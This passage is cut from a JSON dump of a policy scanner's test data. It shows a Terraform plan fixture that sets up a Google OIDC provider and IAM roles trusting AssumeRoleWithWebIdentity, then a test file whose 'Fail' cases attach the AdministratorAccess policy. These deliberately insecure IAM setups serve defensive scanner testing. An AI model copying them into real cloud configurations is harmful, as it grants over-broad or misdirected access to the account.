{\n                \"statement\": [\n                  {\n                    \"actions\": [\n                      false\n                    ],\n                    \"condition\": [\n                      {\n                        \"values\": [\n                          false\n                        ]\n                      },\n                      {\n                        \"values\": [\n                          false\n                        ]\n                      }\n                    ],\n                    \"not_principals\": [],\n                    \"principals\": [\n                      {\n                        \"identifiers\": [\n                          false\n                        ]\n                      }\n                    ]\n                  }\n                ]\n              }\n            },\n            {\n              \"address\": \"module.poc.data.aws_iam_policy_document.r3[\\\"p1\\\"]\",\n              \"mode\": \"data\",\n              \"type\": \"aws_iam_policy_document\",\n              \"name\": \"r3\",\n              \"index\": \"p1\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"override_json\": null,\n                \"override_policy_documents\": null,\n                \"policy_id\": null,\n                \"source_json\": null,\n                \"source_policy_documents\": null,\n                \"statement\": [\n                  {\n                    \"actions\": [\n                      \"sts:AssumeRoleWithWebIdentity\"\n                    ],\n                    \"condition\": [\n                      {\n                        \"test\": \"StringEquals\",\n                        \"values\": [\n                          \"sts.amazonaws.com\"\n                        ],\n                        \"variable\": \"accounts.google.com:aud\"\n                      },\n                      {\n                        \"test\": \"StringEquals\",\n                        \"values\": [\n                          \"system:serviceaccount:p1:default\"\n                        ],\n                        \"variable\": \"accounts.google.com:sub\"\n                      }\n                    ],\n                    \"effect\": \"Allow\",\n                    \"not_actions\": null,\n                    \"not_principals\": [],\n                    \"not_resources\": null,\n                    \"principals\": [\n                      {\n                        \"identifiers\": [\n                          null\n                        ],\n                        \"type\": \"Federated\"\n                      }\n                    ],\n                    \"resources\": null,\n                    \"sid\": null\n                  }\n                ],\n                \"version\": null\n              },\n              \"sensitive_values\": {\n                \"statement\": [\n                  {\n                    \"actions\": [\n                      false\n                    ],\n                    \"condition\": [\n                      {\n                        \"values\": [\n                          false\n                        ]\n                      },\n                      {\n                        \"values\": [\n                          false\n                        ]\n                      }\n                    ],\n                    \"not_principals\": [],\n                    \"principals\": [\n                      {\n                        \"identifiers\": [\n                          false\n                        ]\n                      }\n                    ]\n                  }\n                ]\n              }\n            },\n            {\n              \"address\": \"module.poc.data.aws_iam_policy_document.r3[\\\"p2\\\"]\",\n              \"mode\": \"data\",\n              \"type\": \"aws_iam_policy_document\",\n              \"name\": \"r3\",\n              \"index\": \"p2\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"override_json\": null,\n                \"override_policy_documents\": null,\n                \"policy_id\": null,\n                \"source_json\": null,\n                \"source_policy_documents\": null,\n                \"statement\": [\n                  {\n                    \"actions\": [\n                      \"sts:AssumeRoleWithWebIdentity\"\n                    ],\n                    \"condition\": [\n                      {\n                        \"test\": \"StringEquals\",\n                        \"values\": [\n                          \"sts.amazonaws.com\"\n                        ],\n                        \"variable\": \"accounts.google.com:aud\"\n                      },\n                      {\n                        \"test\": \"StringEquals\",\n                        \"values\": [\n                          \"system:serviceaccount:p2:default\"\n                        ],\n                        \"variable\": \"accounts.google.com:sub\"\n                      }\n                    ],\n                    \"effect\": \"Allow\",\n                    \"not_actions\": null,\n                    \"not_principals\": [],\n                    \"not_resources\": null,\n                    \"principals\": [\n                      {\n                        \"identifiers\": [\n                          null\n                        ],\n                        \"type\": \"Federated\"\n                      }\n                    ],\n                    \"resources\": null,\n                    \"sid\": null\n                  }\n                ],\n                \"version\": null\n              },\n              \"sensitive_values\": {\n                \"statement\": [\n                  {\n                    \"actions\": [\n                      false\n                    ],\n                    \"condition\": [\n                      {\n                        \"values\": [\n                          false\n                        ]\n                      },\n                      {\n                        \"values\": [\n                          false\n                        ]\n                      }\n                    ],\n                    \"not_principals\": [],\n                    \"principals\": [\n                      {\n                        \"identifiers\": [\n                          false\n                        ]\n                      }\n                    ]\n                  }\n                ]\n              }\n            }\n          ],\n          \"address\": \"module.poc\"\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"module.poc.data.aws_iam_policy_document.r4[\\\"p1\\\"]\",\n      \"module_address\": \"module.poc\",\n      \"mode\": \"data\",\n      \"type\": \"aws_iam_policy_document\",\n      \"name\": \"r4\",\n      \"index\": \"p1\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"read\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"override_json\": null,\n          \"override_policy_documents\": null,\n          \"policy_id\": null,\n          \"source_json\": null,\n          \"source_policy_documents\": null,\n          \"statement\": [\n            {\n              \"actions\": [\n                \"sts:AssumeRoleWithWebIdentity\"\n              ],\n              \"condition\": [\n                {\n                  \"test\": \"StringEquals\",\n                  \"values\": [\n                    \"sts.amazonaws.com\"\n                  ],\n                  \"variable\": \"accounts.google.com:aud\"\n                },\n                {\n                  \"test\": \"StringEquals\",\n                  \"values\": [\n                    \"system:serviceaccount:p1:default\"\n                  ],\n                  \"variable\": \"accounts.google.com:sub\"\n                }\n              ],\n              \"effect\": \"Allow\",\n              \"not_actions\": null,\n              \"not_principals\": [],\n              \"not_resources\": null,\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    \"cognito-identity.amazonaws.com\"\n                  ],\n                  \"type\": \"Federated\"\n                }\n              ],\n              \"resources\": null,\n              \"sid\": null\n            }\n          ],\n          \"version\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"json\": true,\n          \"statement\": [\n            {\n              \"actions\": [\n                false\n              ],\n              \"condition\": [\n                {\n                  \"values\": [\n                    false\n                  ]\n                },\n                {\n                  \"values\": [\n                    false\n                  ]\n                }\n              ],\n              \"not_principals\": [],\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    false\n                  ]\n                }\n              ]\n            }\n          ]\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"statement\": [\n            {\n              \"actions\": [\n                false\n              ],\n              \"condition\": [\n                {\n                  \"values\": [\n                    false\n                  ]\n                },\n                {\n                  \"values\": [\n                    false\n                  ]\n                }\n              ],\n              \"not_principals\": [],\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    false\n                  ]\n                }\n              ]\n            }\n          ]\n        }\n      },\n      \"action_reason\": \"read_because_dependency_pending\"\n    },\n    {\n      \"address\": \"module.poc.data.aws_iam_policy_document.r4[\\\"p2\\\"]\",\n      \"module_address\": \"module.poc\",\n      \"mode\": \"data\",\n      \"type\": \"aws_iam_policy_document\",\n      \"name\": \"r4\",\n      \"index\": \"p2\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"read\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"override_json\": null,\n          \"override_policy_documents\": null,\n          \"policy_id\": null,\n          \"source_json\": null,\n          \"source_policy_documents\": null,\n          \"statement\": [\n            {\n              \"actions\": [\n                \"sts:AssumeRoleWithWebIdentity\"\n              ],\n              \"condition\": [\n                {\n                  \"test\": \"StringEquals\",\n                  \"values\": [\n                    \"sts.amazonaws.com\"\n                  ],\n                  \"variable\": \"accounts.google.com:aud\"\n                },\n                {\n                  \"test\": \"StringEquals\",\n                  \"values\": [\n                    \"system:serviceaccount:p2:default\"\n                  ],\n                  \"variable\": \"accounts.google.com:sub\"\n                }\n              ],\n              \"effect\": \"Allow\",\n              \"not_actions\": null,\n              \"not_principals\": [],\n              \"not_resources\": null,\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    \"cognito-identity.amazonaws.com\"\n                  ],\n                  \"type\": \"Federated\"\n                }\n              ],\n              \"resources\": null,\n              \"sid\": null\n            }\n          ],\n          \"version\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"json\": true,\n          \"statement\": [\n            {\n              \"actions\": [\n                false\n              ],\n              \"condition\": [\n                {\n                  \"values\": [\n                    false\n                  ]\n                },\n                {\n                  \"values\": [\n                    false\n                  ]\n                }\n              ],\n              \"not_principals\": [],\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    false\n                  ]\n                }\n              ]\n            }\n          ]\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"statement\": [\n            {\n              \"actions\": [\n                false\n              ],\n              \"condition\": [\n                {\n                  \"values\": [\n                    false\n                  ]\n                },\n                {\n                  \"values\": [\n                    false\n                  ]\n                }\n              ],\n              \"not_principals\": [],\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    false\n                  ]\n                }\n              ]\n            }\n          ]\n        }\n      },\n      \"action_reason\": \"read_because_dependency_pending\"\n    },\n    {\n      \"address\": \"module.poc.data.aws_iam_policy_document.r3[\\\"p1\\\"]\",\n      \"module_address\": \"module.poc\",\n      \"mode\": \"data\",\n      \"type\": \"aws_iam_policy_document\",\n      \"name\": \"r3\",\n      \"index\": \"p1\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"read\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"override_json\": null,\n          \"override_policy_documents\": null,\n          \"policy_id\": null,\n          \"source_json\": null,\n          \"source_policy_documents\": null,\n          \"statement\": [\n            {\n              \"actions\": [\n                \"sts:AssumeRoleWithWebIdentity\"\n              ],\n              \"condition\": [\n                {\n                  \"test\": \"StringEquals\",\n                  \"values\": [\n                    \"sts.amazonaws.com\"\n                  ],\n                  \"variable\": \"accounts.google.com:aud\"\n                },\n                {\n                  \"test\": \"StringEquals\",\n                  \"values\": [\n                    \"system:serviceaccount:p1:default\"\n                  ],\n                  \"variable\": \"accounts.google.com:sub\"\n                }\n              ],\n              \"effect\": \"Allow\",\n              \"not_actions\": null,\n              \"not_principals\": [],\n              \"not_resources\": null,\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    null\n                  ],\n                  \"type\": \"Federated\"\n                }\n              ],\n              \"resources\": null,\n              \"sid\": null\n            }\n          ],\n          \"version\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"json\": true,\n          \"statement\": [\n            {\n              \"actions\": [\n                false\n              ],\n              \"condition\": [\n                {\n                  \"values\": [\n                    false\n                  ]\n                },\n                {\n                  \"values\": [\n                    false\n                  ]\n                }\n              ],\n              \"not_principals\": [],\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    true\n                  ]\n                }\n              ]\n            }\n          ]\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"statement\": [\n            {\n              \"actions\": [\n                false\n              ],\n              \"condition\": [\n                {\n                  \"values\": [\n                    false\n                  ]\n                },\n                {\n                  \"values\": [\n                    false\n                  ]\n                }\n              ],\n              \"not_principals\": [],\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    false\n                  ]\n                }\n              ]\n            }\n          ]\n        }\n      },\n      \"action_reason\": \"read_because_config_unknown\"\n    },\n    {\n      \"address\": \"module.poc.data.aws_iam_policy_document.r3[\\\"p2\\\"]\",\n      \"module_address\": \"module.poc\",\n      \"mode\": \"data\",\n      \"type\": \"aws_iam_policy_document\",\n      \"name\": \"r3\",\n      \"index\": \"p2\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"read\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"override_json\": null,\n          \"override_policy_documents\": null,\n          \"policy_id\": null,\n          \"source_json\": null,\n          \"source_policy_documents\": null,\n          \"statement\": [\n            {\n              \"actions\": [\n                \"sts:AssumeRoleWithWebIdentity\"\n              ],\n              \"condition\": [\n                {\n                  \"test\": \"StringEquals\",\n                  \"values\": [\n                    \"sts.amazonaws.com\"\n                  ],\n                  \"variable\": \"accounts.google.com:aud\"\n                },\n                {\n                  \"test\": \"StringEquals\",\n                  \"values\": [\n                    \"system:serviceaccount:p2:default\"\n                  ],\n                  \"variable\": \"accounts.google.com:sub\"\n                }\n              ],\n              \"effect\": \"Allow\",\n              \"not_actions\": null,\n              \"not_principals\": [],\n              \"not_resources\": null,\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    null\n                  ],\n                  \"type\": \"Federated\"\n                }\n              ],\n              \"resources\": null,\n              \"sid\": null\n            }\n          ],\n          \"version\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"json\": true,\n          \"statement\": [\n            {\n              \"actions\": [\n                false\n              ],\n              \"condition\": [\n                {\n                  \"values\": [\n                    false\n                  ]\n                },\n                {\n                  \"values\": [\n                    false\n                  ]\n                }\n              ],\n              \"not_principals\": [],\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    true\n                  ]\n                }\n              ]\n            }\n          ]\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"statement\": [\n            {\n              \"actions\": [\n                false\n              ],\n              \"condition\": [\n                {\n                  \"values\": [\n                    false\n                  ]\n                },\n                {\n                  \"values\": [\n                    false\n                  ]\n                }\n              ],\n              \"not_principals\": [],\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    false\n                  ]\n                }\n              ]\n            }\n          ]\n        }\n      },\n      \"action_reason\": \"read_because_config_unknown\"\n    },\n    {\n      \"address\": \"module.poc.aws_iam_openid_connect_provider.r5\",\n      \"module_address\": \"module.poc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_openid_connect_provider\",\n      \"name\": \"r5\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"client_id_list\": [\n            \"sts.amazonaws.com\"\n          ],\n          \"tags\": null,\n          \"tags_all\": {\n            \"checkov_uid\": \"CKV_AWS_358\",\n            \"environment\": \"test\",\n            \"managed_by\": \"terraform\"\n          },\n          \"thumbprint_list\": [\n            \"cf23df2207d99a74fbe169e3eba035e633b65d94\"\n          ],\n          \"url\": \"https://accounts.google.com\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"client_id_list\": [\n            false\n          ],\n          \"id\": true,\n          \"tags_all\": {},\n          \"thumbprint_list\": [\n            false\n          ]\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"client_id_list\": [\n            false\n          ],\n          \"tags_all\": {},\n          \"thumbprint_list\": [\n            false\n          ]\n        }\n      }\n    },\n    {\n      \"address\": \"module.poc.aws_iam_role.r6[\\\"p1\\\"]\",\n      \"module_address\": \"module.poc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"r6\",\n      \"index\": \"p1\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": null,\n          \"force_detach_policies\": true,\n          \"inline_policy\": [\n            {\n              \"name\": \"eks_s3_access\",\n              \"policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Action\\\":[\\\"s3:ListBucket\\\"],\\\"Condition\\\":{\\\"StringLike\\\":{\\\"s3:prefix\\\":[\\\"p1/*\\\"]}},\\\"Effect\\\":\\\"Allow\\\",\\\"Resource\\\":[\\\"arn:aws:s3:::\\\"],\\\"Sid\\\":\\\"AllowListingOfUserFolder\\\"}]}\"\n            }\n          ],\n          \"max_session_duration\": 3600,\n          \"name\": \"r8\",\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null,\n          \"tags_all\": {\n            \"checkov_uid\": \"CKV_AWS_358\",\n            \"environment\": \"test\",\n            \"managed_by\": \"terraform\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"assume_role_policy\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"inline_policy\": [\n            {}\n          ],\n          \"managed_policy_arns\": true,\n          \"name_prefix\": true,\n          \"tags_all\": {},\n          \"unique_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"inline_policy\": [\n            {}\n          ],\n          \"managed_policy_arns\": [],\n          \"tags_all\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"module.poc.aws_iam_role.r6[\\\"p2\\\"]\",\n      \"module_address\": \"module.poc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"r6\",\n      \"index\": \"p2\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": null,\n          \"force_detach_policies\": true,\n          \"inline_policy\": [\n            {\n              \"name\": \"eks_s3_access\",\n              \"policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Action\\\":[\\\"s3:ListBucket\\\"],\\\"Condition\\\":{\\\"StringLike\\\":{\\\"s3:prefix\\\":[\\\"p2/*\\\"]}},\\\"Effect\\\":\\\"Allow\\\",\\\"Resource\\\":[\\\"arn:aws:s3:::\\\"],\\\"Sid\\\":\\\"AllowListingOfUserFolder\\\"}]}\"\n            }\n          ],\n          \"max_session_duration\": 3600,\n          \"name\": \"r9\",\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null,\n          \"tags_all\": {\n            \"checkov_uid\": \"CKV_AWS_358\",\n            \"environment\": \"test\",\n            \"managed_by\": \"terraform\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"assume_role_policy\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"inline_policy\": [\n            {}\n          ],\n          \"managed_policy_arns\": true,\n          \"name_prefix\": true,\n          \"tags_all\": {},\n          \"unique_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"inline_policy\": [\n            {}\n          ],\n          \"managed_policy_arns\": [],\n          \"tags_all\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"module.poc.aws_iam_role.r1[\\\"p1\\\"]\",\n      \"module_address\": \"module.poc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"r1\",\n      \"index\": \"p1\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": null,\n          \"force_detach_policies\": true,\n          \"inline_policy\": [\n            {\n              \"name\": \"eks_s3_access\",\n              \"policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Action\\\":[\\\"s3:ListBucket\\\"],\\\"Condition\\\":{\\\"StringLike\\\":{\\\"s3:prefix\\\":[\\\"p1/*\\\"]}},\\\"Effect\\\":\\\"Allow\\\",\\\"Resource\\\":[\\\"arn:aws:s3:::\\\"],\\\"Sid\\\":\\\"AllowListingOfUserFolder\\\"}]}\"\n            }\n          ],\n          \"max_session_duration\": 3600,\n          \"name\": \"r7\",\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null,\n          \"tags_all\": {\n            \"checkov_uid\": \"CKV_AWS_358\",\n            \"environment\": \"test\",\n            \"managed_by\": \"terraform\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"assume_role_policy\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"inline_policy\": [\n            {}\n          ],\n          \"managed_policy_arns\": true,\n          \"name_prefix\": true,\n          \"tags_all\": {},\n          \"unique_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"inline_policy\": [\n            {}\n          ],\n          \"managed_policy_arns\": [],\n          \"tags_all\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"module.poc.aws_iam_role.r1[\\\"p2\\\"]\",\n      \"module_address\": \"module.poc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"r1\",\n      \"index\": \"p2\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": null,\n          \"force_detach_policies\": true,\n          \"inline_policy\": [\n            {\n              \"name\": \"eks_s3_access\",\n              \"policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Action\\\":[\\\"s3:ListBucket\\\"],\\\"Condition\\\":{\\\"StringLike\\\":{\\\"s3:prefix\\\":[\\\"p2/*\\\"]}},\\\"Effect\\\":\\\"Allow\\\",\\\"Resource\\\":[\\\"arn:aws:s3:::\\\"],\\\"Sid\\\":\\\"AllowListingOfUserFolder\\\"}]}\"\n            }\n          ],\n          \"max_session_duration\": 3600,\n          \"name\": \"r2\",\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null,\n          \"tags_all\": {\n            \"checkov_uid\": \"CKV_AWS_358\",\n            \"environment\": \"test\",\n            \"managed_by\": \"terraform\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"assume_role_policy\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"inline_policy\": [\n            {}\n          ],\n          \"managed_policy_arns\": true,\n          \"name_prefix\": true,\n          \"tags_all\": {},\n          \"unique_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"inline_policy\": [\n            {}\n          ],\n          \"managed_policy_arns\": [],\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\",\n        \"expressions\": {\n          \"default_tags\": [\n            {\n              \"tags\": {\n                \"constant_value\": {\n                  \"checkov_uid\": \"CKV_AWS_358\",\n                  \"environment\": \"test\",\n                  \"managed_by\": \"terraform\"\n                }\n              }\n            }\n          ],\n          \"region\": {\n            \"constant_value\": \"eu-central-1\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"module_calls\": {\n        \"poc\": {\n          \"source\": \"./module\",\n          \"module\": {\n            \"resources\": [\n              {\n                \"address\": \"aws_iam_openid_connect_provider.r5\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_iam_openid_connect_provider\",\n                \"name\": \"r5\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"client_id_list\": {\n                    \"constant_value\": [\n                      \"sts.amazonaws.com\"\n                    ]\n                  },\n                  \"thumbprint_list\": {\n                    \"constant_value\": [\n                      \"cf23df2207d99a74fbe169e3eba035e633b65d94\"\n                    ]\n                  },\n                  \"url\": {\n                    \"constant_value\": \"https://accounts.google.com\"\n                  }\n                },\n                \"schema_version\": 0\n              },\n              {\n                \"address\": \"aws_iam_role.r6\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_iam_role\",\n                \"name\": \"r6\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"assume_role_policy\": {\n                    \"references\": [\n                      \"data.aws_iam_policy_document.r4\",\n                      \"each.key\"\n                    ]\n                  },\n                  \"force_detach_policies\": {\n                    \"constant_value\": true\n                  },\n                  \"inline_policy\": [\n                    {\n                      \"name\": {\n                        \"constant_value\": \"eks_s3_access\"\n                      },\n                      \"policy\": {\n                        \"references\": [\n                          \"each.value\"\n                        ]\n                      }\n                    }\n                  ],\n                  \"name\": {\n                    \"references\": [\n                      \"each.value\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"for_each_expression\": {\n                  \"references\": [\n                    \"var.app_k8s_namespace\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"aws_iam_role.r1\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_iam_role\",\n                \"name\": \"r1\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"assume_role_policy\": {\n                    \"references\": [\n                      \"data.aws_iam_policy_document.r3\",\n                      \"each.key\"\n                    ]\n                  },\n                  \"force_detach_policies\": {\n                    \"constant_value\": true\n                  },\n                  \"inline_policy\": [\n                    {\n                      \"name\": {\n                        \"constant_value\": \"eks_s3_access\"\n                      },\n                      \"policy\": {\n                        \"references\": [\n                          \"each.value\"\n                        ]\n                      }\n                    }\n                  ],\n                  \"name\": {\n                    \"references\": [\n                      \"each.value\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"for_each_expression\": {\n                  \"references\": [\n                    \"var.app_k8s_namespace\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"data.aws_iam_policy_document.r4\",\n                \"mode\": \"data\",\n                \"type\": \"aws_iam_policy_document\",\n                \"name\": \"r4\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"statement\": [\n                    {\n                      \"actions\": {\n                        \"constant_value\": [\n                          \"sts:AssumeRoleWithWebIdentity\"\n                        ]\n                      },\n                      \"condition\": [\n                        {\n                          \"test\": {\n                            \"constant_value\": \"StringEquals\"\n                          },\n                          \"values\": {\n                            \"references\": [\n                              \"each.value\"\n                            ]\n                          },\n                          \"variable\": {\n                            \"references\": [\n                              \"aws_iam_openid_connect_provider.r5.url\",\n                              \"aws_iam_openid_connect_provider.r5\"\n                            ]\n                          }\n                        },\n                        {\n                          \"test\": {\n                            \"constant_value\": \"StringEquals\"\n                          },\n                          \"values\": {\n                            \"constant_value\": [\n                              \"sts.amazonaws.com\"\n                            ]\n                          },\n                          \"variable\": {\n                            \"references\": [\n                              \"aws_iam_openid_connect_provider.r5.url\",\n                              \"aws_iam_openid_connect_provider.r5\"\n                            ]\n                          }\n                        }\n                      ],\n                      \"effect\": {\n                        \"constant_value\": \"Allow\"\n                      },\n                      \"principals\": [\n                        {\n                          \"identifiers\": {\n                            \"constant_value\": [\n                              \"cognito-identity.amazonaws.com\"\n                            ]\n                          },\n                          \"type\": {\n                            \"constant_value\": \"Federated\"\n                          }\n                        }\n                      ]\n                    }\n                  ]\n                },\n                \"schema_version\": 0,\n                \"for_each_expression\": {\n                  \"references\": [\n                    \"var.app_k8s_namespace\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"data.aws_iam_policy_document.r3\",\n                \"mode\": \"data\",\n                \"type\": \"aws_iam_policy_document\",\n                \"name\": \"r3\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"statement\": [\n                    {\n                      \"actions\": {\n                        \"constant_value\": [\n                          \"sts:AssumeRoleWithWebIdentity\"\n                        ]\n                      },\n                      \"condition\": [\n                        {\n                          \"test\": {\n                            \"constant_value\": \"StringEquals\"\n                          },\n                          \"values\": {\n                            \"references\": [\n                              \"each.value\"\n                            ]\n                          },\n                          \"variable\": {\n                            \"references\": [\n                              \"aws_iam_openid_connect_provider.r5.url\",\n                              \"aws_iam_openid_connect_provider.r5\"\n                            ]\n                          }\n                        },\n                        {\n                          \"test\": {\n                            \"constant_value\": \"StringEquals\"\n                          },\n                          \"values\": {\n                            \"constant_value\": [\n                              \"sts.amazonaws.com\"\n                            ]\n                          },\n                          \"variable\": {\n                            \"references\": [\n                              \"aws_iam_openid_connect_provider.r5.url\",\n                              \"aws_iam_openid_connect_provider.r5\"\n                            ]\n                          }\n                        }\n                      ],\n                      \"effect\": {\n                        \"constant_value\": \"Allow\"\n                      },\n                      \"principals\": [\n                        {\n                          \"identifiers\": {\n                            \"references\": [\n                              \"aws_iam_openid_connect_provider.r5.arn\",\n                              \"aws_iam_openid_connect_provider.r5\"\n                            ]\n                          },\n                          \"type\": {\n                            \"constant_value\": \"Federated\"\n                          }\n                        }\n                      ]\n                    }\n                  ]\n                },\n                \"schema_version\": 0,\n                \"for_each_expression\": {\n                  \"references\": [\n                    \"var.app_k8s_namespace\"\n                  ]\n                }\n              }\n            ],\n            \"variables\": {\n              \"app_k8s_namespace\": {\n                \"default\": [\n                  \"p2\",\n                  \"p1\"\n                ]\n              }\n            }\n          }\n        }\n      }\n    }\n  },\n  \"relevant_attributes\": [\n    {\n      \"resource\": \"module.poc.aws_iam_openid_connect_provider.r5\",\n      \"attribute\": [\n        \"url\"\n      ]\n    },\n    {\n      \"resource\": \"module.poc.aws_iam_openid_connect_provider.r5\",\n      \"attribute\": [\n        \"arn\"\n      ]\n    },\n    {\n      \"resource\": \"module.poc.data.aws_iam_policy_document.r4\",\n      \"attribute\": []\n    },\n    {\n      \"resource\": \"module.poc.data.aws_iam_policy_document.r3\",\n      \"attribute\": []\n    }\n  ],\n  \"timestamp\": \"123\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_IAMManagedAdminPolicy/IAMManagedAdminPolicy.tf",
    "content": "# Fail\n\ndata \"aws_iam_policy\" \"fail1\" {\n  name = \"AdministratorAccess\"\n}\n\ndata \"aws_iam_policy\" \"fail2\" {\n  arn = \"arn:aws:iam::aws:policy/AdministratorAccess\"\n}\n\n# Pass\n\ndata \"aws_iam_policy\" \"pass1\" {\n  name = \"AmazonS3ReadOnlyAccess\"\n}\n\ndata \"aws_iam_policy\" \"pass2\" {\n  arn = \"arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess\"\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_IAMPublicActionsPolicy/public_actions.tf",
